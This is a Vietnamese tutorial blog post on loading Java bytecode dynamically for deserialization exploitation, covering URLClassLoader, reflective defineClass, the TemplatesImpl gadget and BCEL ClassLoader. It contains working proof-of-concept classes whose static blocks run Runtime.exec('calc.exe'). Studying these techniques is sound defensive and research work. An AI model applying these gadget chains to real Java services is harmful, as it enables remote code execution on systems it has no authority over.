Các phương pháp tải mã bytecode động trong Java

Các phương pháp tải mã bytecode động trong Java

Trong các lỗ hổng khử tuần tự, người ta thường gặp các lớp như TemplatesImpl hoặc BCEL liên quan đến việc tải động mã bytecode độc hại để thực thi lệnh bất kỳ;

Hiểu rõ cơ chế này là nền tảng để nắm bắt nguyên lý hoạt động của memory shell và hiểu sâu hơn về cơ chế tải lớp Java và tính linh hoạt của JVM.

Đầu tiên, hãy xem xét khái niệm: mã bytecode là gì? Theo nghĩa hẹp, đó là nội dung trong tập tin .class được biên dịch, chứa các chỉ thị của JVM.

Theo nghĩa rộng, mã bytecode là dãy byte có thể được JVM phục hồi thành một lớp và tải vào bộ nhớ để thực thi. Điều này bao gồm:

  1. Nội dung chuẩn của tập tin .class;
  2. Dãy byte đã được xử lý hoặc mã hóa đặc biệt (như định dạng BCEL);
  3. Mã bytecode được tạo ra tại thời điểm chạy.

Điểm quan trọng: Tấn công có thể tạo ra "mã bytecode rộng" độc hại để JVM tải và thực thi, gây ra hiệu ứng ngoài mong muốn.

Quy trình làm việc: loadClass -> findClass -> defineClass (chuyển đổi bytecode thành đối tượng Class).

Dưới đây là sơ đồ minh họa quy trình:

Từ quy trình trên, ta biết rằng:

loadClass là cổng vào tải lớp, có nhiệm vụ kiểm tra bộ đệm lớp và tìm kiếm lớp từ lớp cha (nếu không tìm thấy trong bộ đệm, sẽ sử dụng cơ chế ủy quyền kép để lớp cha tải trước). Nếu cả lớp cha cũng không tìm thấy, sẽ gọi findClass để tìm kiếm lớp.

findClass: Tìm kiếm lớp từ các đường dẫn URL (đường dẫn địa phương, tập tin JAR, máy chủ từ xa, v.v.), tải bytecode lớp và chuyển cho defineClass.

defineClass: Xử lý bytecode, chuyển đổi thành lớp.

  1. Sử dụng URLClassLoader để tải tập tin .class từ xa

Nguyên lý: Lớp tải mặc định của Java (APPClassLoader) có lớp cha là URLClassLoader, có thể tải lớp từ các đường dẫn URL (địa phương, JAR, máy chủ từ xa, v.v.).

Vector tấn công: Tấn công có thể kiểm soát đường dẫn URL của URLClassLoader thành một máy chủ HTTP do kẻ tấn công kiểm soát, khiến JVM mục tiêu tải và thực thi tập tin .class độc hại từ xa. Các phương thức tấn công phổ biến như JNDI injection, RMI load, v.v.

Điều kiện cần thiết:

  1. Phụ thuộc giao thức: như http, https, file, ftp, jar, jndi, rmi;
  2. Mục tiêu có thể kết nối ra ngoài;
  3. Tải tập tin .class chuẩn và đầy đủ.

Ví dụ kiểm tra:

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class DynamicLoaderTest {
    public static void main(String[] args) {
        try {
            URL[] urls = new URL[] { new URL("http://localhost:8080/") };
            URLClassLoader cl = new URLClassLoader(urls);
            Class<?> cls = cl.loadClass("MaliciousClass");
            cls.newInstance();
        } catch (MalformedURLException e) {
            throw new RuntimeException(e);
        } catch (ClassNotFoundException e) {
            throw new RuntimeException(e);
        } catch (InstantiationException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        }
    }
}
// MaliciousClass.java
import java.lang.reflect.Method;

public class MaliciousClass {
    public MaliciousClass() {
        System.out.println("Constructor: Hello World!");
    }
    static {
        System.out.println("Static block: Hello World!");
        try {
            Class clazz =  Class.forName("java.lang.Runtime");
            Method method = clazz.getMethod("getRuntime");
            Runtime runtime = (Runtime) method.invoke(clazz);
            runtime.exec("calc.exe");
        }catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Ta thấy rằng JVM đã tải mã bytecode của MaliciousClass; lưu ý rằng mã cần thực thi phải đặt trong khối static hoặc hàm constructor;

Khối static: nội dung trong khối static sẽ được tải khi "khởi tạo lớp" (nói cách khác là được tải trước khi chương trình chạy).

Hàm constructor: vì đoạn code gọi newInstance() nên nếu không đặt trong khối static, phải đặt trong constructor không tham số.

  1. Sử dụng ClassLoader.defineClass() để tải trực tiếp bytecode

Nguyên lý: phương thức cốt lõi của quá trình tải lớp là defineClass, một phương thức protected native. Nó chịu trách nhiệm chuyển đổi mảng byte gốc thành đối tượng Class bên trong JVM.

Vị trí quy trình: tại findClass, phương thức findClass thường gọi defineClass để xử lý bytecode tìm được. Nếu ta có thể kiểm soát trực tiếp defineClass, liệu có thể tải bytecode trực tiếp không?

Tuy nhiên, phương thức này có thuộc tính protected, không sao, có thể phá vỡ giới hạn truy cập bằng phản chiếu (setAccessible(true)).

Vector tấn công: gọi defineClass bằng phản chiếu.

Ví dụ mã:

import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class DefineClassTest {

    public static void main(String[] args) throws Exception {
        ClassLoader cl = ClassLoader.getSystemClassLoader();
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("MaliciousClass.class"));
        Class<?> cls = (Class<?>) defineClass.invoke(cl, "MaliciousClass", code, 0, code.length);
        cls.newInstance();

    }
}

Điều kiện sử dụng: defineClass chỉ chịu trách nhiệm tải và liên kết lớp, không thực thi khai báo tĩnh (khối static, khởi tạo biến tĩnh) hoặc constructor. Để thực thi mã, phải gọi tường minh newInstance() hoặc gọi phương thức tĩnh để "khởi tạo mã". Do đó, để thực thi mã từ xa, cần phải gọi constructor của mục tiêu.

Trong thực tế, việc gọi trực tiếp defineClass bằng phản chiếu không phổ biến vì cần quyền phản chiếu và dễ bị giới hạn bởi quản lý bảo mật. Tuy nhiên, đây là nền tảng cơ bản nhất.

Phổ biến hơn là sử dụng các lớp đã gọi defineClass và có thể kiểm soát cách gọi từ bên ngoài. Đây cũng là lý do tại sao chuỗi tấn công TemplatesImpl xuất hiện.

  1. Tải bytecode bằng TemplatesImpl

Mặc dù defineClass không thể sử dụng trực tiếp, vẫn có một số lớp bên ngoài gọi phương thức này. Ví dụ điển hình là lớp TemplatesImpl.

Nguyên lý:

Lớp com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl chứa một TransletClassLoader.

TransletClassLoader ghi đè phương thức defineClasskhông khai báo rõ phạm vi truy cập. Trong Java, điều này có nghĩa là phương thức có phạm vi default (chỉ truy cập được trong cùng gói).

Các phương thức quan trọng của TemplatesImpl như newTransformer(), getOutputProperties() có phạm vi public, cuối cùng sẽ gọi đến TransletClassLoader.defineClass() để tải bytecode được lưu trữ trong thuộc tính _bytecodes của đối tượng TemplatesImpl.

Ta thấy rằng trong TransletClassLoader của TemplatesImpl, phương thức defineClass được ghi đè; không khai báo rõ phạm vi truy cập, điều này có nghĩa là nó có phạm vi default và có thể được gọi từ lớp ngoài.

static final class TransletClassLoader extends ClassLoader {
    private final Map<String, Class> _loadedExternalExtensionFunctions;

     TransletClassLoader(ClassLoader parent) {
         super(parent);
        _loadedExternalExtensionFunctions = null;
    }

    TransletClassLoader(ClassLoader parent, Map<String, Class> mapEF) {
        super(parent);
        _loadedExternalExtensionFunctions = mapEF;
    }

    public Class<?> loadClass(String name) throws ClassNotFoundException {
        Class<?> ret = null;
        if (_loadedExternalExtensionFunctions != null) {
            ret = _loadedExternalExtensionFunctions.get(name);
        }
        if (ret == null) {
            ret = super.loadClass(name);
        }
        return ret;
     }

    /**
     * Truy cập thành viên protected của lớp cha từ lớp ngoài.
     */
    Class defineClass(final byte[] b) {
        return defineClass(null, b, 0, b.length);
    }
}	

Ta quay lại xem chuỗi gọi hàm:

attacker calls -> TemplatesImpl.getOutputProperties() [public]
                     -> TemplatesImpl.newTransformer() [public]
                         -> TemplatesImpl.getTransletInstance() [private]
                              -> TemplatesImpl.defineTransletClasses() [private]
                                   -> (new TransletClassLoader()).defineClass(byte[] b) [default]

Ta thấy rằng TemplatesImpl.newTransformer()TemplatesImpl.newTransformer() có phạm vi public nên có thể được gọi từ bên ngoài.

Ví dụ PoC tạo chuỗi gọi TemplatesImpl.newTransformer():

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import sun.reflect.generics.reflectiveObjects.ParameterizedTypeImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TemplatesImplTest {
    public static void main(String[] args) throws Exception {

        byte[] code = Files.readAllBytes(Paths.get("EvilClass.class"));
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{code});
        setFieldValue(templates, "_name", "EvilClass");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        templates.newTransformer();

    }

    private static void setFieldValue(Object obj, String fieldName, Object value)
            throws Exception {

        Class<?> clazz = obj.getClass();
        Field field = null;

        while (clazz != null) {
            try {
                field = clazz.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException e) {
                clazz = clazz.getSuperclass();
            }
        }

        if (field == null) {
            throw new NoSuchFieldException(fieldName);
        }

        field.setAccessible(true);
        field.set(obj, value);
    }
}

Tuy nhiên, đoạn code này không thể chạy trực tiếp.

Nguyên nhân là do trong hàm defineTransletClasses() có một số giới hạn bảo mật, yêu cầu lớp độc hại phải là lớp con của AbstractTranslet.

private void defineTransletClasses() throws TransformerConfigurationException {
    // Mã tải bytecode

    for (int i = 0; i < classCount; i++) {
        _class[i] = loader.defineClass(_bytecodes[i]);
        final Class superClass = _class[i].getSuperclass();
        
        // Điểm kiểm tra quan trọng: phải là lớp con của AbstractTranslet
        if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
            _transletIndex = i;
        } else {
            // Nếu không phải lớp con của AbstractTranslet, ném ngoại lệ
            throw new TransformerConfigurationException("Lớp không phải là translet");
        }
    }
    
    // ... [Xử lý tiếp theo] ...
}

Do đó, cần xây dựng lại lớp độc hại như sau:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.lang.reflect.Method;

public class EvilClass extends AbstractTranslet {
    public EvilClass() {
        System.out.println("Constructor: Hello World!");
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    static {
        System.out.println("Static block: Hello World!");
        try {
            Class clazz =  Class.forName("java.lang.Runtime");
            Method method = clazz.getMethod("getRuntime");
            Runtime runtime = (Runtime) method.invoke(clazz);
            runtime.exec("calc.exe");
        }catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Ta thấy rằng đoạn code đã chạy thành công.

Nhân tiện, việc sử dụng TemplatesImpl để tải bytecode độc hại đã xuất hiện trong nhiều lỗ hổng khử tuần tự, cũng như trong các lỗ hổng của Fastjson và Jackson.

  1. Tải bytecode bằng BCEL ClassLoader

Ghi chú:

Tên đầy đủ của BCEL là Apache Commons BCEL, thuộc về một dự án con của Apache Commons. Do được Apache Xalan sử dụng, và Apache Xalan là thư viện xử lý XML trong JDK, nên BCEL cũng được bao gồm trong thư viện nguyên sinh của JDK.
Chi tiết về BCEL, vui lòng đọc bài viết khác của p牛 "BCEL ClassLoader đi đâu rồi", 
khuyến khích đọc bài viết này trước khi tiếp tục bài viết này.

Nguyên lý: BCEL (Apache Commons BCEL) cung cấp một thư viện thao tác bytecode. Nó định nghĩa một định dạng chuỗi đặc biệt để biểu diễn lớp (thường bắt đầu bằng $$BCEL$$), định dạng này chứa mã bytecode gốc đã được mã hóa.

Vector tấn công: Tạo chuỗi BCEL bytecode: sử dụng lớp Repository hoặc Utility của BCEL để chuyển đổi byte[] của tập tin .class chuẩn thành chuỗi BCEL đặc biệt.

Repository: dùng để chuyển đổi một lớp Java thành bytecode gốc,

Utility: dùng để chuyển đổi bytecode gốc thành định dạng BCL:

Tạo mã BCEL:

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;

public class BCELTest {
    public static void main(String[] args) throws Exception {
        JavaClass clazz = Repository.lookupClass(EvilClass.class);
        String bcelCode = Utility.encode(clazz.getBytes(), true);
        System.out.println(bcelCode);

    }
}

Sau khi kiểm tra, phát hiện rằng ClassLoader của BCEL cần phiên bản khoảng 6,7 mới có thể phân tích; và lớp độc hại đôi khi phụ thuộc vào phiên bản xung đột, không thể import được, ví dụ EvilClass tôi import AbstractTranslet

Gây ra lỗi:

java.lang.NoClassDefFoundError: com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet; do đó, cần sử dụng phiên bản không phụ thuộc vào AbstractTranslet

package org.com.cc6;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class BCELTest {
    public static void main(String[] args) throws Exception {
        JavaClass clazz = Repository.lookupClass(EEvil.class);

        // 2. Chuyển đổi thành định dạng mã hóa BCEL (phải thêm tiền tố)
        String bcelCode = "$$BCEL$$" + Utility.encode(clazz.getBytes(), true);
        System.out.println( bcelCode);

        new ClassLoader().loadClass(bcelCode).newInstance();
    }
}
// EEvil.java
package org.com.cc6;

public class EEvil {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {}
    }
}

Tham khảo p牛 knowledge sphere -> Code auditing -> Series of Java articles p牛's "Where is BCEL ClassLoader": https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html

;

Thẻ: Java JVM TemplatesImpl BCEL ClassLoading

Đăng vào ngày 8 tháng 6 lúc 19:43